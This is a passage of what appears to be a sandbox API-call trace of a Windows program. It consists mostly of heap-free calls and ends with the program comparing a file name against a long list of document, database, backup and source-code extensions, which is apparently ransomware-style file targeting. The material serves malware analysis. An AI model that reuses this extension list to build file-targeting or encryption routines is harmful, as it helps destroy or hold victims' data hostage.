hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0161.068] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0161.070] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.070] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.070] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.071] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.071] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.071] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.072] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.074] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.076] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.076] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.077] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.077] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.077] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.077] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.079] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0161.080] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0161.080] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0161.201] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e7778, Size=0x4000) returned 0x7e7778 [0161.202] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0161.202] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0161.241] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0161.241] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0161.242] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0161.242] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0161.247] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0161.248] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.249] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.249] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.250] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.250] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.252] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.252] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.252] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.254] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.254] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.254] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.254] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.256] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.256] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.256] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.256] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.258] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.258] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.258] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.258] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.260] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.260] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.260] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.260] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.261] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.261] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.262] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.262] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0161.262] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.264] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0161.666] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.666] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.689] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.690] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.747] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.747] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.747] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.747] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.748] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.943] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.943] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.943] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.944] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0161.945] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0162.153] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0162.153] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0162.155] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0162.336] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0162.336] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0162.342] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0162.343] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0162.343] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0162.344] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0162.349] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0162.349] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0162.349] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0162.350] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0163.172] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43500b8 | out: hHeap=0x790000) returned 1 [0163.292] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0163.300] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0163.301] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0163.813] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0163.814] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0163.814] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0163.887] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0164.001] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0164.119] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0164.130] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43100b0 | out: hHeap=0x790000) returned 1 [0164.130] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0164.133] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0164.325] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0164.413] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0164.413] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0164.414] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0164.415] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0164.910] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0164.913] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0164.916] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0168.665] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0168.673] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0168.673] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0168.673] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0168.677] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0168.681] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0168.683] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0168.683] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e0010 | out: hHeap=0x790000) returned 1 [0168.685] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e0010 | out: hHeap=0x790000) returned 1 [0168.694] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e0010 | out: hHeap=0x790000) returned 1 [0168.703] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e0010 | out: hHeap=0x790000) returned 1 [0171.671] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e0010 | out: hHeap=0x790000) returned 1 [0171.671] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e0010 | out: hHeap=0x790000) returned 1 [0171.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43600c0 | out: hHeap=0x790000) returned 1 [0171.676] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43600c0 | out: hHeap=0x790000) returned 1 [0171.676] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43600c0 | out: hHeap=0x790000) returned 1 [0175.212] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43600c0 | out: hHeap=0x790000) returned 1 [0175.212] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e0010 | out: hHeap=0x790000) returned 1 [0175.388] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0175.391] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0175.411] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0175.427] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0176.814] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0177.022] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43700c8 | out: hHeap=0x790000) returned 1 [0177.022] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0177.023] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0177.023] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0177.024] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0177.027] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.034] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.036] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.038] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.043] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.049] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.051] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.053] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.054] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.558] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.559] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.561] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.562] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.564] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.576] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.578] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.846] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.968] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0177.969] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.026] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.028] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.029] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.030] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.032] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.034] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.035] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.036] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0178.131] lstrlenW (lpString="Microsoft.Mashup.Client.Excel.resources.dll") returned 43 [0178.131] lstrlenW (lpString=".1cd") returned 4 [0178.131] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.131] lstrlenW (lpString=".3ds") returned 4 [0178.131] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0178.131] lstrlenW (lpString=".3fr") returned 4 [0178.131] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0178.131] lstrlenW (lpString=".3g2") returned 4 [0178.131] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0178.131] lstrlenW (lpString=".3gp") returned 4 [0178.131] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0178.131] lstrlenW (lpString=".7z") returned 3 [0178.131] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.131] lstrlenW (lpString=".accda") returned 6 [0178.131] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1 [0178.131] lstrlenW (lpString=".accdb") returned 6 [0178.131] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1 [0178.131] lstrlenW (lpString=".accdc") returned 6 [0178.131] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1 [0178.131] lstrlenW (lpString=".accde") returned 6 [0178.131] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1 [0178.131] lstrlenW (lpString=".accdt") returned 6 [0178.131] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1 [0178.131] lstrlenW (lpString=".accdw") returned 6 [0178.131] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1 [0178.131] lstrlenW (lpString=".adb") returned 4 [0178.131] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0178.131] lstrlenW (lpString=".adp") returned 4 [0178.131] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0178.132] lstrlenW (lpString=".ai") returned 3 [0178.132] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0178.132] lstrlenW (lpString=".ai3") returned 4 [0178.132] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0178.132] lstrlenW (lpString=".ai4") returned 4 [0178.132] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0178.132] lstrlenW (lpString=".ai5") returned 4 [0178.132] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0178.132] lstrlenW (lpString=".ai6") returned 4 [0178.132] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0178.132] lstrlenW (lpString=".ai7") returned 4 [0178.132] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0178.132] lstrlenW (lpString=".ai8") returned 4 [0178.132] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0178.132] lstrlenW (lpString=".anim") returned 5 [0178.132] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1 [0178.132] lstrlenW (lpString=".arw") returned 4 [0178.132] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0178.132] lstrlenW (lpString=".as") returned 3 [0178.132] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0178.132] lstrlenW (lpString=".asa") returned 4 [0178.132] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0178.132] lstrlenW (lpString=".asc") returned 4 [0178.132] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0178.132] lstrlenW (lpString=".ascx") returned 5 [0178.132] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1 [0178.132] lstrlenW (lpString=".asm") returned 4 [0178.132] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0178.132] lstrlenW (lpString=".asmx") returned 5 [0178.132] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1 [0178.132] lstrlenW (lpString=".asp") returned 4 [0178.132] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0178.132] lstrlenW (lpString=".aspx") returned 5 [0178.132] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1 [0178.132] lstrlenW (lpString=".asr") returned 4 [0178.132] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0178.133] lstrlenW (lpString=".asx") returned 4 [0178.133] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0178.133] lstrlenW (lpString=".avi") returned 4 [0178.133] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0178.133] lstrlenW (lpString=".avs") returned 4 [0178.133] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0178.133] lstrlenW (lpString=".backup") returned 7 [0178.133] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1 [0178.133] lstrlenW (lpString=".bak") returned 4 [0178.133] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0178.133] lstrlenW (lpString=".bay") returned 4 [0178.133] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0178.133] lstrlenW (lpString=".bd") returned 3 [0178.133] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0178.133] lstrlenW (lpString=".bin") returned 4 [0178.133] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0178.133] lstrlenW (lpString=".bmp") returned 4 [0178.133] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0178.133] lstrlenW (lpString=".bz2") returned 4 [0178.133] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.133] lstrlenW (lpString=".c") returned 2 [0178.133] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0178.133] lstrlenW (lpString=".cdr") returned 4 [0178.133] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0178.133] lstrlenW (lpString=".cer") returned 4 [0178.133] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0178.133] lstrlenW (lpString=".cf") returned 3 [0178.133] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0178.133] lstrlenW (lpString=".cfc") returned 4 [0178.133] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0178.133] lstrlenW (lpString=".cfm") returned 4 [0178.133] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0178.133] lstrlenW (lpString=".cfml") returned 5 [0178.133] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1 [0178.133] lstrlenW (lpString=".cfu") returned 4 [0178.134] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0178.134] lstrlenW (lpString=".chm") returned 4 [0178.134] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0178.134] lstrlenW (lpString=".cin") returned 4 [0178.134] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0178.134] lstrlenW (lpString=".class") returned 6 [0178.134] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1 [0178.134] lstrlenW (lpString=".clx") returned 4 [0178.134] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0178.134] lstrlenW (lpString=".config") returned 7 [0178.134] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1 [0178.134] lstrlenW (lpString=".cpp") returned 4 [0178.134] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0178.134] lstrlenW (lpString=".cr2") returned 4 [0178.134] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0178.134] lstrlenW (lpString=".crt") returned 4 [0178.134] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0178.134] lstrlenW (lpString=".crw") returned 4 [0178.134] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0178.134] lstrlenW (lpString=".cs") returned 3 [0178.134] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0178.134] lstrlenW (lpString=".css") returned 4 [0178.134] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0178.134] lstrlenW (lpString=".csv") returned 4 [0178.134] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0178.134] lstrlenW (lpString=".cub") returned 4 [0178.134] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0178.134] lstrlenW (lpString=".dae") returned 4 [0178.134] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0178.134] lstrlenW (lpString=".dat") returned 4 [0178.134] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0178.134] lstrlenW (lpString=".db") returned 3 [0178.134] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0178.134] lstrlenW (lpString=".dbf") returned 4 [0178.135] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.135] lstrlenW (lpString=".dbx") returned 4 [0178.135] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0178.135] lstrlenW (lpString=".dc3") returned 4 [0178.135] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0178.135] lstrlenW (lpString=".dcm") returned 4 [0178.135] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0178.135] lstrlenW (lpString=".dcr") returned 4 